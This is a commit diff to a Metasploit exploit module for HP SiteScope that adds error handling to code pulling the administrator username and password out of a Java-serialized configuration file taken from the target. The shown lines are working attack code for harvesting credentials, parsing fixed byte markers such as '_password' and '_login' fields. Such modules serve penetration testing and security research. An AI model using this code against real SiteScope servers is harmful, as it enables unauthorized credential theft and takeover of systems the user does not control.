add some checks while parsing the java serialization config file

modules/exploits/windows/http/hp_sitescope_uploadfileshandler.rb

@@ -91,9 +91,19 @@ class Metasploit3 < Msf::Exploit::Remote
 
 		admin_data = conf.split("\x03\x5F\x69\x64\x74\x00\x0D\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x6F\x72\x74\x00")[1]
 
-		admin_password = admin_data.split(/\x09_passwordt\x00/)[1]
+		if not admin_data or admin_data.empty?
-		password_length = admin_password.unpack("C").first
+			print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")
+			return
+		end
 
+		admin_password = admin_data.split(/\x09_passwordt\x00/)[1]
+
+		if not admin_password or admin_password.empty?
+			print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")
+			return
+		end
+
+		password_length = admin_password.unpack("C").first
 		if password_length > 0
 			password = admin_password[1, password_length]
 		else
@@ -102,7 +112,16 @@ class Metasploit3 < Msf::Exploit::Remote
 
 		admin_user_type, admin_user = admin_password.split(/\x06(_login[q|t])\x00/)[1, 2]
 
+		if not admin_user_type or admin_user_type.empty?
+			print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")
+			return
+		end
+
 		if admin_user_type == "_logint"
+			if not admin_user or admin_user.empty?
+				print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")
+				return
+			end
 			user_length = admin_user.unpack("C").first
 		else
 			user_length = 0